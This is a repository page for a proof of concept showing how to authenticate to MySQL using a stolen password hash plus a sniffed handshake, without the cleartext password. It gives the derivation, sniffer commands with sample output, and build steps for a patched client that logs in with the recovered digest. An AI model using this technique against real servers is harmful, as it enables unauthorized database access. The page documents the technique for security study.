• Stars
    star
    222
  • Rank 179,123 (Top 4 %)
  • Language
    C
  • Created over 7 years ago
  • Updated over 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Authenticate against a MySQL server without knowing the cleartext password

mysql-unsha1

Authenticate against a MySQL server without knowing the cleartext password.

Abstract

This PoC shows how it is possible to authenticate against a MySQL server under certain circumstances without knowing the cleartext password when the Secure Password Authentication authentication plugin (aka mysql_native_password, the default method) is used.

Preconditions are:

  • to obtain a read-only access to the mysql.user table in the target database in order to fetch the hashed password for a given user;

  • to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., authentication via SSL would nullify this attempt).

Note: This is not a bug nor a vulnerability in MySQL (this is hardly an exploit actually), it is just a direct consequence of how the authentication protocol works. If an attacker is able to satisfy the above points then the whole system is probably already compromised. Yet this exploit may offer an alternative approach to obtain a proper authenticated access to a MySQL server.

MySQL server passwords

By default, passwords are stored in the mysql.user table and are hashed using the PASSWORD function which is just a two-stage SHA1 digest:

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

The handshake

After the TCP connection phase, initiated by the client, the MySQL authentication handshake continues as follows (simplified):

  1. the server sends a Server Greeting packet containing a salt (s);

  2. the client replies with a Login Request packet containing the session password (x), computed as follows:

     x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
    

    where password is the cleartext password as provided by the user and + is a mere string concatenation operator;

  3. the server can verify the challenge and authenticate the client if:

     SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
    

    where SHA1(SHA1(password)) is the two-stage SHA1 digest of the password, stored in the mysql.user table; the server does not know the cleartext password nor its SHA1 digest.

The exploit

With enough information an attacker is able to obtain SHA1(password) and therefore to solve the server challenge without the knowledge of the cleartext password.

Let:

  • h be the hashed password obtained from the mysql.user table (i.e., SHA1(SHA1(password)));

  • s and x be the salt and the session password respectively obtained from the intercepted handshake.

The first-stage SHA1 can be obtained as follows:

SHA1(password) = x XOR SHA1(s + h)

Tools

To ease the reproducibility of the exploit, this PoC provides two tools:

  • a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;

  • a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.

The sniffer

To build mysql-unsha1-sniff just run make (or make static to produce a statically linked executable). The Makefile will look for the uthash.h file in this directory and will download it if not found.

Run mysql-unsha1-sniff without arguments to display the usage message.

In accordance with the previous example:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

Once a successful authentication handshake is captured the output will be like:

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

If no account information are provided, the tool will only display the salt and the session password.

The patched MySQL client

Building the MySQL client may take some time and requires a certain amount of free disk space:

  1. download and extract the MySQL source code:

     wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
     tar xf mysql-5.7.17.tar.gz
     cd mysql-server-mysql-5.7.17
    
  2. apply the patch:

     patch -p1 </path/to/mysql-server-unsha1.patch
    
  3. build (without server) with:

     mkdir build
     cd build
     cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
     make -j$(nproc)
    
  4. the client executable will be created at client/mysql, optionally install it globally and delete the whole source code to save some space:

     sudo cp client/mysql /usr/local/bin/mysql-unsha1
     cd ../..
     rm -fr mysql-server-mysql-5.7.17
    

Use mysql-unsha1 as the original MySQL client, just remember that the --password[=password], -p[password] option now requires a 40-digit hexadecimal SHA1 string.

In accordance with the previous example:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

Where:

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

and 2470c0c06dee42fd1618bb99005adca2ec9d1e19 is the hashed password stored in the mysql.user table.

More Repositories

1

gdb-dashboard

Modular visual interface for GDB in Python
Python
10,856
star
2

chrome-remote-interface

Chrome Debugging Protocol interface for Node.js
JavaScript
4,235
star
3

chrome-har-capturer

Capture HAR files from a Chrome instance
JavaScript
527
star
4

zoom

Fixed and automatic balanced window layout for Emacs
Emacs Lisp
355
star
5

zizzania

Automated DeAuth attack
C
275
star
6

fracker

PHP function tracker
JavaScript
241
star
7

prof

Self-contained C/C++ profiler library for Linux
C
177
star
8

gdb

Go GDB/MI interface
Go
79
star
9

comb

Interactive code auditing and grep tool in Emacs Lisp
Emacs Lisp
74
star
10

httpfs

Remote FUSE filesystem via server-side script
C
61
star
11

gproxy

googleusercontent.com as HTTP(S) proxy
JavaScript
54
star
12

trace

Start or attach to a process and monitor a customizable set of metrics (CPU, I/O, etc.)
Shell
34
star
13

chrome-page-graph

Chrome extension to generate interactive page dependency graphs
JavaScript
32
star
14

xkeylogger

Rootless keylogger for X
C
32
star
15

signal-wont-let-me-attach

Store arbitrary files inside PNGs to overcome nonsensical file type restrictions
Python
30
star
16

iq

I/Q file analysis toolkit in R
R
25
star
17

ratty

Record and replay terminal sessions
JavaScript
10
star
18

httpool

Go HTTP wrapper for limited concurrency handlers
Go
9
star
19

cyrus-and.github.io

Personal website
SCSS
7
star
20

lorem

Lorem ipsum generator as a Linux kernel module
C
6
star
21

biscuit

Modular HTTP cookie parser
Python
5
star
22

stash

Shell I/O clipboard
Shell
5
star
23

dotfiles

Personal dotfiles
Emacs Lisp
5
star
24

signal-desktop-docker

Scaffold to run Signal Desktop in a Docker container and persist data
Dockerfile
4
star
25

playground

Disposable Docker sandbox for quick isolated testing with X support
Dockerfile
4
star
26

dry-makefile

Opinionated Makefile for simple C/C++ projects
Makefile
3
star
27

synchttp

Synchronous Node.js HTTP and WebSocket library for API testing, scripting or automation
JavaScript
2
star